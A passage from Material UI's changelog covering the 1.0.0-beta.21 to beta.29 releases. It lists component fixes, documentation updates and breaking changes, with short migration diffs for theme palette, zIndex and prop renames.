@sambhav-gore\n\n### Docs\n\n- [docs] Add a section about how to test changes locally (#9935) @nicolasiensen\n- [docs] Style library interoperability v2 (#9939) @oliviertassinari\n- [docs] Fix markdown list (#9948) @yuchi\n- [docs] Remove one DOM element in the Card actions (#9952) @maprihoda\n- [docs] Improve the documentation on the breakpoints (#9949) @oliviertassinari\n- [docs] Apply Matt's requested changes (#9963) @oliviertassinari\n- [docs] Using TypeScript & withStyles for class component w/union props (#9975) @nmchaves\n- [docs] Add notifications (#9974) @mbrookes\n\n### Core\n\nN/A\n\n## 1.0.0-beta.29\n\n_Jan 16, 2018_\n\nA big thanks to the 9 contributors who made this release possible.\n\nWe are making a release earlier than expected. The release schedule norm has been so far: one every weekend. `1.0.0-beta.28` has introduced important pain points we want to address quickly:\n\n- The 1.0.0-beta.28 palette change was made non-breaking (#9889) @mbrookes\n- The JSS issues have been fixed\n- The TypeScript definitions have been updated\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [TextField] Add fullWidth propagation to Input (#9888) @enbyted\n- [Chip] Add component property (#9890) @caub\n- [palette] Update the TypeScript definitions (#9896) @oliviertassinari\n\n### Docs\n\n- [examples] Update for revised theme approach (#9878) @mbrookes\n- [examples] Update Gatsby example to work (#9877) @magicmark\n- [docs] Additional corrections to palette code sample (#9883) @mbrookes\n- [docs] Update showcase.md (#9894) @gerges-beshay\n\n### Core\n\n- [core] Fix w3c validation errors (#9899) @sambhav-gore\n- [core] Make palette change non-breaking (#9889) @mbrookes\n- [core] Fix some w3c issues (#9872) @oliviertassinari\n- [core] Upgrade jss to 9.5.0 (#9885) @cesardeazevedo\n- [core] Fix some w3c validation errors (#9895) @sambhav-gore\n- [typescript] Remove JSS stub module declaration (#9898) @pelotom\n- [typescript] Move @types/react-transition-group from devDependencies to dependencies (#9897) @pelotom\n- [typescript] Remove generic object and function types (#9822) @pelotom\n- [core] Go back to jss-vendor-prefixer@7 (#9904) @oliviertassinari\n\n## 1.0.0-beta.28\n\n_Jan 14, 2018_\n\nA big thanks to the 22 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- A new theme palette system (#9794) @mbrookes. It's an important simplification.\n- More flexibile and customization friendly table components (#9852) @kgregory.\n- A new gold sponsor: [Creative Tim](https://www.creative-tim.com/), thank you!\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [core] Revise the theme.palette.primary & secondary approach (#9794) @mbrookes\n\nIt's an important simplification of the palette system. You can now directly use the \"official\" Color Tool](https://m2.material.io/color/).\n\n- Instead of using a rich color object of 14 different keys, we rely on an object of 4 different keys: `light`, `main`, `dark` and `contrastText`.\n- Providing the full-color object used to be required. Now, we will provide a nice default to the different values using the `main` value.\n\n```diff\nimport { createMuiTheme } from 'material-ui/styles';\nimport blue from 'material-ui/colors/blue';\nimport pink from 'material-ui/colors/pink';\n\nconst theme = createMuiTheme({\n  palette: {\n-   primary: blue,\n-   secondary: pink,\n+   primary: {\n+     light: blue[300],\n+     main: blue[500],\n+     dark: blue[700],\n+   },\n+   secondary: {\n+     light: pink[300],\n+     main: pink[500],\n+     dark: pink[700],\n+   }\n    type: theme.paletteType,\n  },\n});\n```\n\n- [ListItemText] Add extra class to style secondary text (#9759) @t49tran\n\n```diff\n<ListItem\n  classes={{\n-   text: 'my-class',\n+   textPrimary: 'my-class',\n  }}\n/>\n```\n\n- [CardHeader] Remove CardContent inheritance (#9764) @oliviertassinari\n\nRename ListItemText classes for consitancy with the CardHeader component:\n\n```diff\n-- `textPrimary`\n-- `textSecondary`\n+- `primary`\n+- `secondary`\n```\n\n- [TableCell] Add type property (#9852) @kgregory\n\n`TableHead`, `TableBody` and `TableFooter` no longer offer a CSS API, which means their `root` classes are no longer available.\nTo style the root element in these components, a `className` prop can be passed, as all non-API props will be spread to the root element.\n\n### Component Fixes / Enhancements\n\n- [Tooltip] Zero-length titles string are never displayed (#9766) @oliviertassinari\n- [Chip] Replace instrinic CSS 'fit-content' with 'inline-flex' (#9767) @gregnb\n- [Slide] Fix an animation regression (#9773) @oliviertassinari\n- [Select] Remove the input warning (#9774) @oliviertassinari\n- [Tabs] Add action property (#9780) @gregnb\n- [StepButton] Fix TypeScript definition (#9796) @hapood\n- [CardContent] Add component property (#9789) @caub\n- [TablePagination] Add an Actions property (#9785) @axlider\n- [SwitchBase] Enable React input warning (#9814) @oliviertassinari\n- [SwitchBase] Remove duplicate TypeScript definitions inherited (#9816) @rosskevin\n- [Hidden] Update initialWidth propTypes (#9815) @djeeg\n- [Transition] Extend children propTypes (#9819) @oliviertassinari\n- [TablePagination] Remove dead code (#9831) @leMaik\n- [theme] Polish background scale (#9829) @oliviertassinari\n- [ExpansionPanel] Fix TypeScript definitions of onChange event (#9832) @Jocaetano\n- [GridList] Remove named export (#9836) @remcohaszing\n- [GridList] Export through main index.js (#9833) @remcohaszing\n- [Portal] Document default value (#9841) @oliviertassinari\n- [Button] Add fullWidth boolean property (#9842) @oliviertassinari\n- [Select] Improve vertical alignment (#9827) @jedwards1211\n- [GridListTile] Fix error when overriding classes (#9862) @KevinAsher\n- [transitions] Improve the style override logic (#9858) @caub\n- [Select] Add open, onClose and onOpen properties (#9844) @caub\n\n### Docs\n\n- [docs] Add Expand All switch to default theme tree (#9762) @mbrookes\n- [docs] Remove unneeded dependencies from examples (#9746) @cherniavskii\n- [docs] Clarify the usage of innerRef property of withStyles (#9765) @nareshbhatia\n- [docs] Improve color / theme docs (#9771) @mbrookes\n- [docs] Add How can I access the DOM element? in the FAQ (#9768) @oliviertassinari\n- [examples] Add a Gatsby example (#9779) @oliviertassinari\n- [docs] Alternatives to CRA (#9810) @oliviertassinari\n- [docs] Add missing code from example (#9830) @RyanTaite\n- [docs] Add Global CSS override section (#9843) @oliviertassinari\n- [docs] Add example for Select with Checkbox in MenuItems (#9835) @caub\n- [docs] Add SlidesUp to the Showcase (#9854) @bhatiak\n- [docs] Track the bundle size (#9853) @oliviertassinari\n- [docs] Display the default theme (#9859) @oliviertassinari\n- [docs] Add paragraph on withStyles with multiple classes (#9851) @clentfort\n- [docs] Add new backers (#9863) @oliviertassinari\n\n### Core\n\n- [core] Remove contastDefaultColor (#9772) @mbrookes\n- [core] Revise theme contrastText approach, remove contrastDefaultColor (#9063) @mbrookes\n- [color] Add a warning when an invalid value is provided (#9783) @oliviertassinari\n- [typescript] Add TouchRipple typings (#9812) @msiadak\n- [test] Enforce 100% test coverage in Codecov (#9813) @leMaik\n- [typescript] Move @types/jss from devDependencies to dependencies (#9817) @pelotom\n- [core] Upgrade the dependencies 😢 (#9828)\n\n## 1.0.0-beta.27\n\n_Jan 6, 2018_\n\nA big thanks to the 19 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- A strong focus on the documentation.\n- Add a new Zoom component (#9693) @mbrookes.\n- Better vertical alignment of our components (#9709) @oliviertassinari.\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [core] Remove some rootRef properties (#9676) @cherniavskii\n\nRemove the rootRef property from the Grow and List component.\nInstead, you can use the `ref` property in combination with `findDOMNode()` or a [RootRef](https://gist.github.com/oliviertassinari/fa1cd34a3fff67553631606109bed124) helper.\n\n- [Popover] New `transition` property (#9682) @oliviertassinari\n\nRemove the `transitionClasses` property of the Popover component. Instead, you can provide a transition component.\n\n- [BottomNavigation] Rename BottomNavigationButton to BottomNavigationAction (#9692) @mbrookes\n\n```diff\n-import BottomNavigation, { BottomNavigationButton } from 'material-ui/BottomNavigation';\n+import BottomNavigation, { BottomNavigationAction } from 'material-ui/BottomNavigation';\n```\n\n- [core] Update jss plugins dependencies (#9732) @cherniavskii\n\nYou might be relying on the transitive dependency of Material UI: `jss-preset-default`.\nIf you do, you need to declare the dependency in your package.json. Material UI will no longer install it for you.\nAlternatively, you can use our preset to save bundle size.\n\n```diff\n-import preset from 'jss-preset-default';\n+import { jssPreset } from 'material-ui/styles';\n```\n\n### Component Fixes / Enhancements\n\n- [Menu] Better select, hover, focus logic (#9570) @Skaronator\n- [CircularProgress] Accept as string size property (#9700) @jedwards1211\n- [Zoom] New transition component (#9693) @mbrookes\n- [Modal] Add TransitionHandlers to Modal props TypeScript definitions (#9723) @pvdstel\n- [style] Add vertical-align: middle (#9709) @oliviertassinari\n- [Dialog] Allow fullWidth option of false (#9724) @gregnb\n- [SvgIcon] Add a nativeColor property (#9740) @oliviertassinari\n- [typescript] Make Modal-/SlideProps on Drawer Partial (#9743) @DaIgeb\n- [typescript] Use React.ReactType instead of string | ComponentType (#9686) @pelotom\n- [typescript] Style/replace object and function in typedef (#9678) @t49tran\n- [typescript] Update zIndex props to latest changes (#9720) @radicand\n- [FormControlLabel] Allow highlighted options to be selectable (#9713) @Chopinsky\n\n### Docs\n\n- [flow] Update the documentation and the example (#9679) @oliviertassinari\n- [docs] Fix missing sandbox files (#9685) @lukePeavey\n- [Portal] Fix typo (#9688) @ifndefdeadmau5\n- [examples] Use Reboot (#9691) @oliviertassinari\n- [docs] Add a fallback ad (#9694) @oliviertassinari\n- [examples] Keep working on the Next.js example (#9695) @oliviertassinari\n- [docs] Hide sandbox button on more demos (#9696) @lukePeavey\n- [docs] Minor Markdown Fix: Update SUPPORT.md (#9702) @TorzuoliH\n- [docs] Move 'Default Theme' to it's own section (#9697) @mbrookes\n- [docs] Reorder Drawer items (#9704) @mbrookes\n- [docs] Bite the bullet and go for v1-beta (#9706) @oliviertassinari\n- [docs] Add project in showcase.md (#9725) @shady831213\n- [docs] Fix error in overriding with classes (#9726) @rubencosta\n- [docs] Tweak Dialog maxWidth prop description (#9729) @mbrookes\n- [docs] Add a reference to create-react-app-with-flow (#9735) @oliviertassinari\n- [docs] Fix link of \"How to override the look and feel of the components.\" (#9739) @enavarrocu\n- [docs] Fix Chip onDelete property (#9741) @vkentta\n- [docs] Reduce the api docs table cell padding (#9752) @mbrookes\n- [docs] Misc docs fixes (#9747) @mbrookes\n- [docs] Fix two small regressions (#9753) @oliviertassinari\n- [docs] Tidy up Tooltips demos (#9755) @mbrookes\n\n### Core\n\n- [core] Fix typo in size:overhead:why script (#9728) @cherniavskii\n- [core] Follow the React HOC convention (#9733) @oliviertassinari\n- [github] Add Support Requests bot config file (#9751) @mbrookes\n\n## 1.0.0-beta.26\n\n_Dec 30, 2017_\n\nA big thanks to the 12 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- @kgregory has made the breakpoint down behavior more intuitive. As of now, it's inclusive (#9632).\n- We have introduced a new component to kickstart an elegant, consistent, and simple baseline to build upon: `Reboot` (#9661).\n- The `Portal` and `Modal` components have been revamped to solve the core issues raised by the community (#9613). Those components are now documented.\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [Portal] Second iteration on the component (#9613)\n\nSome properties have been renamed:\n\n```diff\n<Dialog\n- ignoreBackdropClick\n- ignoreEscapeKeyUp\n+ disableBackdropClick\n+ disableEscapeKeyDown\n```\n\n```diff\n<Modal\n- show\n- disableBackdrop\n- ignoreBackdropClick\n- ignoreEscapeKeyUp\n- modalManager\n+ open\n+ hideBackdrop\n+ disableBackdropClick\n+ disableEscapeKeyDown\n+ manager\n```\n\nThe zIndex object has been updated to match the usage.\n\n```diff\n  const zIndex = {\n-  mobileStepper: 900,\n-  menu: 1000,\n+  mobileStepper: 1000,\n   appBar: 1100,\n-  drawerOverlay: 1200,\n-  navDrawer: 1300,\n-  dialogOverlay: 1400,\n-  dialog: 1500,\n-  layer: 2000,\n-  popover: 2100,\n-  snackbar: 2900,\n-  tooltip: 3000,\n+  drawer: 1200,\n+  modal: 1300,\n+  snackbar: 1400,\n+  tooltip: 1500,\n  };\n```\n\n- [breakpoint] Down properties are now inclusive (#9632) @kgregory\n  - `createBreakpoints.down()` is now inclusive of the specified breakpoint\n  - `isWidthDown()` is now inclusive of the specified breakpoint by default\n  - `<Hidden />` will include the breakpoints associated with its _Down_ properties regardless of whether CSS or JS is used.\n\n### Component Fixes / Enhancements\n\n- [TextField] Add inputProps back (#9604) @oliviertassinari\n- [TextField] Accessibility improvements (#9617) @cherniavskii\n- [ListItemText] Fix noWrap primary text ellipsis (#9631) @dr-js\n- [Typography] Remove children required constraint (#9633) @hendratommy\n- [CardHeader] Add component property (#9634) @oliviertassinari\n- [Snackbar] Clarify that autoHideDuration calls onClose (#9628) @evantrimboli\n- [Table] Add aria-label's to pagination left/right arrows (#9622) @gregnb\n- [Input] More predictable value behavior (#9647) @oliviertassinari\n- [styles] Make sure to escape whitespace (#9644) @jedwards1211\n- [Reboot] New component (#9661) @oliviertassinari\n- [Snackbar] Allow consecutive messages to display (#9670) @tkvw\n- [styles] Reduce the likeliness of conflict (#9671) @oliviertassinari\n- [typescript] Make Tabs onChange prop optional (#9668) @pelotom\n- [Avatar] Handle non-square images (#9672) @oliviertassinari\n\n### Docs\n\n- [docs] Fix AppBar and Demo button labels (#9607) @mbrookes\n- [docs] Fix 414 HTTP issue (#9635) @oliviertassinari\n- [docs] Update backers.md (#9636) @oliviertassinari\n- [docs] Add a missing codesandbox demo (#9657) @oliviertassinari\n- [docs] Interoperability guide: Fix grammar and rework structure (#9658) @mbrookes\n- [docs] Remove dead code in generateMarkdown (#9662) @oliviertassinari\n- [docs] Interop guide: change Global CSS link from API to description (#9664) @oliviertassinari\n- [docs] Add mui-datatables (#9667) @gregnb\n- [docs] Small tweaks (#9669) @oliviertassinari\n\n### Core\n\n- [test] Document the ImageMagick / GraphicsMagick dependency (#9608) @mbrookes\n- [typescript] re-declare `isMuiElement` and `isMuiComponent` as typeguard (#9630) @SSW-SCIENTIFIC\n- [core] Upgrade the dependencies (#9642) @oliviertassinari\n\n## 1.0.0-beta.25\n\n_Dec 22, 2017_\n\nA big thanks to the 16 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 100% test coverage. Thanks @leMaik for the last mile (#9596)!\n- The first introduction of Global CSS 😱.\n  We have introduced a `dangerouslyUseGlobalCSS` option to the class name generator (#9558).\n  We discourage people from using this option in production.\n  However, it can be a quick escape hatch when prototyping.\n  It's making the class names predictable, for instance:\n\n```diff\n-c291\n+MuiButton-raised\n```\n\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\nNone, merry christmas 🎄.\n\n### Component Fixes / Enhancements\n\n- [typescript] Add Typography pxToRem (#9547) @jaredpetker\n- [Select] Typo fix (#9567) @bordagabor\n- [CardHeader] Add conditional rendering of the subheader (#9572) @jwwisgerhof\n- [Tooltip] children should be an element (#9568) @oliviertassinari\n- [BottomNavigationAction] onClick and onChange handler overwritten (#9564) @kgregory\n- [typescript] Add typings to reactHelpers (#9565) @SSW-SCIENTIFIC\n- [TablePagination] Make onChangeRowsPerPage optional (#9563) @evantrimboli\n- [Toolbar] Make the children optional (#9581) @oliviertassinari\n- [withWidth] Add withTheme option (#9586) @oliviertassinari\n- [docs] Add more interoperability examples (#9558) @oliviertassinari\n- [TextField] Make TextField's \"value\" prop type match Input (#9594) @jaminthorns\n- [Popover] Add action property (#9588) @gregnb\n- [Modal] Increase test coverage (#9596) @leMaik\n\n### Docs\n\n- [docs] Second iteration on the ad placement (#9524) @oliviertassinari\n- [docs] Remove unused styes object from ChipsArray demo (#9540) @mbrookes\n- [docs] Hide sandbox button on drawer and grid-list demos (#9537) @lukePeavey\n- [docs] Fix typo `masterial-ui` to `material-ui` (#9544) @Ginkoid\n- [docs] Add two new members (#9543) @oliviertassinari\n- [docs] Fix dark theme toggle of website home page content (#9560) @Tuaniwan\n- [docs] Improve migration guide (#9566) @fonzy2013\n- [examples] Fix after the latest breaking changes (#9553) @Tuaniwan\n- [docs] Fix basic typos in copy text (#9591) @hathix\n\n### Core\n\n- [test] Report the potential svg-icon test error (#9559) @oliviertassinari\n- [.editorconfig] Add max_line_length (#9580) @mbrookes\n- [core] Move svg-icons to the internal folder (#9601) @oliviertassinari\n- [core] Upgrade the dependencies (#9606) @oliviertassinari\n\n## 1.0.0-beta.24\n\n_Dec 17, 2017_\n\nA big thanks to the 16 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- We have removed Flow from the core components in (#9453).\n  You can learn more about the motivations in the pull request.\n  This changes two important things:\n  - We have reduced the size of the bundle by ~8 kB gzipped.\n  - The propTypes runtime checks are back. You might experience new warnings.\n- We have introduced 4 breaking changes.\n- You can support me on [Patreon](https://www.patreon.com/oliviertassinari) and the community on [Open Collective](https://opencollective.com/mui-org) (#9460).\n  Blog posts are coming.\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [Hidden] Fix js/css implementation inconsistency (#9450) @oliviertassinari\n\nThis change is making the js and css breakpoint utils behaving the same way.\nThe default parameter of `withWidth.isWidthDown(breakpoint, width, inclusive)` changed:\n\n```diff\n-inclusive = true\n+inclusive = false\n```\n\nYou might want to update the usage of the API by increasing the breakpoing used on the Hidden component:\n\n```diff\n-<Hidden implementation=\"js\" mdDown>\n+<Hidden implementation=\"js\" lgDown>\n```\n\nOr by going back to the previous behavior:\n\n```diff\n-isWidthDown(breakpoint, width)\n+isWidthDown(breakpoint, width, true)\n```\n\n- [API] Use onClose over onRequestClose (#9451) @oliviertassinari\n\nMost of our components are stateless by default. It wasn't the case with v0.x. Let's translate this default behavior in the property names of v1.\n\n```diff\n-onRequestClose\n-onRequestOpen\n-onRequestDelete\n+onClose\n+onOpen\n+onDelete\n```\n\n- [TextField] Remove inputClassName property (#9509) @kgregory\n\nThe existing `InputProps` property can be used to set the className on the input element, making `inputClassName` redundant. Issue #9508 exposed some conflicting behavior between the two properties and it was decided that removing `inputClassName` would result in a cleaner API.\n\n```diff\n-  /**\n-   * The CSS class name of the `input` element.\n-   */\n-  inputClassName: PropTypes.string,\n```\n\nThe configuration of the wrapped Input component and its input element should be done through `InputProps`. To specify a className on the input element:\n\n```jsx\n<TextField InputProps={{ inputProps: { className: 'foo' } }} />\n```\n\n- [Stepper] \"Optional\" label in StepLabel should be localizable (#9489) @karaggeorge\n\nThere is no logic attached to the `optional` boolean property. So, we can reduce the abstraction cost. The property is provided closer to where it's needed, and people have full control over how it should be displayed. By chance, it matches the specification.\n\n```diff\n-<Step optional>\n-  <StepLabel>\n+<Step>\n+  <StepLabel optional={<Typography type=\"caption\">Optional Text</Typography>}>\n     Label\n   </StepLabel>\n </Step>\n```\n\n### Component Fixes / Enhancements\n\n- [Popover] Fix warning formatting (27bab8022545c0cda8cbc80bf9b6df1566b14226) @oliviertassinari\n- [Hidden] Add `only` array support in the CSS implementation (#9457) @Chopinsky\n- [TextField] Fix disabled logic handling (#9472) @oliviertassinari\n- [Dialog] Improve accessibility (#9461) @ianschmitz\n- [TableFooter] Fix text overlapping pagination drop-down (#9497) @mbrookes\n- [ButtonBase] Avoid unnecessary rerender (#9502) @ojab\n- [Chip] Fix color contrast against default dark background (#9501) @mbrookes\n- [Button] Document how to use a third-party routing library (#9506) @nikoladev\n- [MuiThemeProvider] Add a new warning (#9518) @oliviertassinari\n- [TextField] Improve the API documentation (#9514) @oliviertassinari\n- [TableCell] Add missing aria-sort (#9504) @gregnb\n- [ExpansionPanelSummary] Eliminate extra invocation of onClick (#9523) @kgregory\n\n### Docs\n\n- [docs] Update sentence which might be misinterpreted (#9459) @senthuran16\n- [docs] Correct list API default value (#9462) @t49tran\n- [docs] Fix doc layout when an ad is present (#9473) @zachwolf\n- [docs] Update breakpoint info to be in line with code (#9486) @nikoladev\n- [docs] Fix broken sandbox in docs (#9491) @ajay2507\n- [docs] Add new showcase (#9490) @liganok\n- [docs] Add see source button (#9499) @oliviertassinari\n- [docs] Add a BACKERS.md (#9460) @oliviertassinari\n- [docs] Add Governance page (#9512) @oliviertassinari\n- [docs] Demo options as JSON (#9521) @oliviertassinari\n\n### Core\n\n- Add Governance Document (#9423) @hai-cea\n- [core] Upgrade to flow 61 (#9471) @rsolomon\n- [core] Remove FlowType from the components implementation (#9453) @oliviertassinari\n- [core] Upgrade the dependencies (#9515) @oliviertassinari\n- [core] Fix wrong usage of the API (#9519) @oliviertassinari\n- [core] Use the same react pattern everywhere (#9520) @oliviertassinari\n\n## 1.0.0-beta.23\n\n_Dec 9, 2017_\n\nA big thanks to the 26 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- The TypeScript definitions keep getting better thanks to @pelotom, @rosskevin, @PavelPZ, @alitaheri, @ianschmitz, @smacpherson64, @brandonlee781\n- We keep investing in improving the documentation.\n  For instance, you can find a [CodeSandbox](https://codesandbox.io/) edit button on all our demos.\n\n### Breaking change\n\n- [TextField] API disamiguation/consistency (#9382) @rosskevin\n  Some of the convenience properties exposed were confusing and have been removed (`inputProps | InputClassName`). For advanced configuration any `Input` through `TextField`, use `TextField.InputProps` to pass any property accepted by the `Input`.\n- [SvgIcon] Add color property (#9367) @kale5in\n  By consistency with the other components, the color property is no longer apply to the `<svg>`. Instead, it's used to apply normalized color.\n\n### Component Fixes / Enhancements\n\n- [Switch] Update missed div to span for valid HTML (#9334) @mikeriley131\n- [Modal] Resolve cordova issues (#9315) @sakulstra\n- [Drawer] Missing ModalProps TypeScript (#9352) @rosskevin\n- [theme] Fix TypographyOptions type (#9364) @keenondrums\n- [styles] createMuiTheme should accept a deep partial (#9368) @keenondrums\n- [Table] Add missing component props (#9378) @pelotom\n- [typescript] Use correct types for TextFieldProps (#9321) @pelotom\n- [typescript] Provide accurate typings for theme overrides (#9314) @pelotom\n- [typescript] Add missing direction to theme (#9327) @alitaheri\n- [typescript] Update onChange types for selection controls (#9339) @rosskevin\n- [typescript] Allow function to be passed as MuiThemeProvider theme prop (#9354) @ianschmitz\n- [typescript] Extract WithTheme for external use (#9363) @rosskevin\n- [Input] Fix input shrink issue in Firefox (#9384) @t-cst\n- [typescript] Wrong default export in shadows.d.ts and transitions.d.ts (#9395) @PavelPZ\n- [typescript] Add \"component\" to FormLabelProps (#9398) @smacpherson64\n- [typescript] Rename overloaded type \"Icon\" in StepButton and StepConnector (#9397) @PavelPZ\n- [typescript] Fix definition mismatching on ColorObject (#9409) @kinisn\n- [Tabs] Fix SSR regression (#9413) @oliviertassinari\n- [theme] Fix mixins.gutter override (#9417) @oliviertassinari\n- [ButtonBase] Remove some code (#9419) @oliviertassinari\n- [ExpansionPanel] Prevent call onChange event from the root element (#9402) @andrzejbk\n- [Hidden] Improve the docs (#9420) @oliviertassinari\n- [typescript] Add anchorPosition and anchorReference to PopoverProps (#9428) @brandonlee781\n- [Input] Specify target FlowType for SyntheticInputEvents (#9394) @dhui\n- [Collapse] Fix minHeight behavior (#9438) @Chopinsky\n- [Stepper] Add missing style names (#9441) @oliviertassinari\n- [Button] Add a mini FAB variant (#9383) @mbrookes\n\n### Docs\n\n- [docs] Replace type with interface, document TypeScript theme customization (#9350) @rosskevin\n- [docs] Fix typo in comparison guide (#9357) @ugomeda\n- [docs] Simplify TypeScript custom theme example (#9376) @pelotom\n- [docs] Add project to showcase (#9346) @samdenty99\n- [Dialog] Fix typo and finish incomplete comment (#9379) @willgriffiths\n- [docs] Better definition of what withStyles is (#9235) @ajay2507\n- [docs] Save 11% on the images (#9400) @oliviertassinari\n- [docs] Add a downshift example (#9401) @oliviertassinari\n- [docs] Fix Tabs examples typography and standardize code (#9366) @mbrookes\n- [docs] Add a Plugins paragraph (#9399) @oliviertassinari\n- [docs] Fix code formatting (#9414) @oliviertassinari\n- [docs] Add codesandbox edit button (#9416) @oliviertassinari\n- [docs] Various documentation improvements (#9403) @oliviertassinari\n- [docs] Remove extra spacing (#9418) @oliviertassinari\n- [docs] Remove flow from the docs (#9434) @oliviertassinari\n- [examples] remove flow from the examples (#9446) @stormasm\n\n### Core\n\n- [test] Set codecov threshold to avoid spurious build failures (#9323) @pelotom\n- [test] Fix parse error in .codecov.yml (#9355) @pelotom\n- [typescript] Update `tslint.json` \"member-ordering\" definition (#9359) @seivan\n- [typescript] withTheme parameter on wrong function (#9372) @rosskevin\n- [typescript] Fix and standardize remaining ThemeOptions typings (#9370) @pelotom\n- [test] Add missing platforms (#9412) @oliviertassinari\n- [core] Upgrade dependencies (#9415) @oliviertassinari\n- [typescript] Remove DeepPartial (#9445) @PavelPZ\n\n## 1.0.0-beta.22\n\n_Nov 28, 2017_\n\nA big thanks to the 26 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- Wait, what? A new component is coming, again 🎉.\n  @andrzejbk has been implementing the `ExpansionPanel` component with the help of the community. Big thanks to him!\n- Support TypeScript@2.6 (#9124) @pelotom\n- Support Flow@0.57.x (#8983) @rsolomon, @rosskevin\n- A new organization: `mui-org` @hai-cea\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [Select] Remove InputClasses (#9159) @oliviertassinari\n  It's a revert. I have made the unwise call of adding the InputClasses property in an unrelated refactorization pull request #8942. It was not taking the input classes property into account. It was a breaking change and not needed.\n- [core] Reduce bundle size by 2kB gzipped (#9129) @oliviertassinari\n  We have removed some jss plugins from the default bundle:\n  - [jss-expand](https://github.com/cssinjs/jss-expand) (1.3 kB)\n  - [jss-compose](https://github.com/cssinjs/jss-compose) (426 B)\n  - [jss-extend](https://github.com/cssinjs/jss-extend) (702 B)\n  - [jss-template](https://github.com/cssinjs/jss-template) (330 B)\n\nIt's a revert.\nI have made the unwise call of adding the InputClasses property in an unrelated refactorization pull request #8942.\nIt was not taking the input classes property into account.\nIt was a breaking change and not needed.\n\n### Component Fixes / Enhancements\n\n- [Tooltip] Fix typo in API page (#9128) @mizx\n- [Transition] Fix wrong addEndListener logic (#9142) @oliviertassinari\n- [TablePagination] export LabelDisplayedRowArgs interface and improve label (#8930) @t49tran\n- [Drawer] Hide focus ring (#9147) @rodrigofepy\n- [Drawer] Fix classes in TypeScript definition (#9145) @johnnynia\n- [CircularProgress] Fix behavior when dir=rtl (#9151) @alitaheri\n- [StepContent] Fix typings (#9150) @alitaheri\n- [Dialog] Fix maxWidth=xs (#9162) @oliviertassinari\n- [Select] Fix TypeScript typings (#9153) @alitaheri\n- [Slide] No default direction (#9165) @oliviertassinari\n- [TablePagination] Improve the API docs page (#9181) @oliviertassinari\n- [typescript] Strip keys from GridProps which won't get passed to override component (#9183) @pelotom\n- [Input] Fix input height on Firefox (#9184) @oliviertassinari\n- [Switch] Fixes non-valid HTML when div used inside of label element (#9188) @mikeriley131\n- [FormControlLabel] Fixes non-valid HTML when p used in label element (#9187) @mikeriley131\n- [Avatar] Fix alt align (#9193) @mctep\n- [Drawer] Fix typo @ignore for theme prop (#9195) @christophehurpeau\n- [style] Fix between media-query for xl (#9201) @michaelgruber\n- [transitions] Expose the transition components (#9210) @ajay2507\n- [Card] Add action prop to CardHeader (#9202) @lukePeavey\n- [Select] Add name to the target (#9216) @oliviertassinari\n- [TablePagination] Hide the rows per page selector if there are less than two options (#9213) @leMaik\n- [ButtonBase] Bookkeep the disable state (#9220) @oliviertassinari\n- [TextField] Better select support (#9224) @oliviertassinari\n- [TableCell] Use solid version of theme divider (#9229) @mbrookes\n- [ExpansionPanel] New component (#7651) @andrzejbk\n\n### Docs\n\n- [docs] Additional tweaks (#9122) @mbrookes\n- [docs] Improved documentation for Menu style overrides (#9126) @lsemerini\n- [docs] Fix display on IE11 (#9166) @oliviertassinari\n- [docs] Fix broken link in README.md (#9177) @Primajin\n- [docs] Clean up code in IconLabelButton example (#9211) @xfumihiro\n- [docs] Fill enhanced table to always have the same height on all pages (#9214) @leMaik\n- [docs] Fix broken link to the API#spread (#9219) @oliviertassinari\n- [Guide] Add Interoperability guide (#9217) @FjVillar\n- [docs] Add a styled-components section (#9225) @oliviertassinari\n- [examples] rename organization to mui-org (#9273) @stormasm\n- [docs] Fix typo (#9288) @paulzmuda\n\n### Core\n\n- [test] Fix flaky popper.js test (#9168) @oliviertassinari\n- [typescript] Support TypeScript 2.6 and --strictFunctionTypes (#9124) @pelotom\n- [typescript] Fix typing of withWidth (#9125) @pelotom\n- [typescript] Eliminate the need for type annotations on callback parameters (#9127) @pelotom\n- [core] Reduce bundle size by 2kB gzipped (#9129) @oliviertassinari\n- [core] Upgrade enzyme (#9167) @oliviertassinari\n- Add support for Flow@0.57.x (#8983) @rsolomon\n- [test] Avoid unspotted API docs changes (#9212) @oliviertassinari\n- [core] Increase the size-limit (#9215) @oliviertassinari\n- [flow] Continuation of Flow updates 0.57+ (#9203) @rosskevin\n- [flow] Bump react-flow-types version and fix errors (#9232) @rsolomon\n\n## 1.0.0-beta.21\n\n_Nov 13, 2017_\n\nA big thanks to the 18 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- @alexhayes and @vladimirpekez have done an awesome job migrating the Stepper component\n  to the `v1-beta` branch (#8291). Thank you!\n- @kof Has been working hard and tightly with us to improve JSS, we have upgraded the dependency to v9 (#9111).\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [SwitchBase] Remove legacy properties (#9021) @oliviertassinari\n\nIn the following diff `SwitchBase` can be a `Checkbox` a `Radio` or a `Switch`.\n\n```diff\n-<SwitchBase disabled disabledClassName={disabledClassName} />;\n+<SwitchBase disabled classes={{ disabled: disabledClassName }} />;\n```\n\n### Component Fixes / Enhancements\n\n- [InputLabel] Fix transformOrigin when direction=rtl (#9007) @alitaheri\n- [BottomNavigation] Allow null bottom navigation items (#9011) @ciroja\n- [Button] Include lineHeight in default theme button style (#9018) @mkornblum\n- [Select] Fix native width display (#8998) @oliviertassinari\n- [Modal] Expose the component to the public API (#9038) @oliviertassinari\n- [Drawer] Better support different anchor values (#9000) @oliviertassinari\n- [IconButton] Add missing TypeScript definition (#9016) @oliviertassinari\n- [List] Fix accessibility (#9017) @oliviertassinari\n- [ButtonBase] Restore the original keyboardFocusCheckTime value (#9019) @oliviertassinari\n- [Popover] Implement ability to pass coordinates as anchor (#9004) @jackyho112\n- [TextField] Fix undefined blur event (#9042) @nareshbhatia\n- [Slide] Support dynamic anchor (#9055) 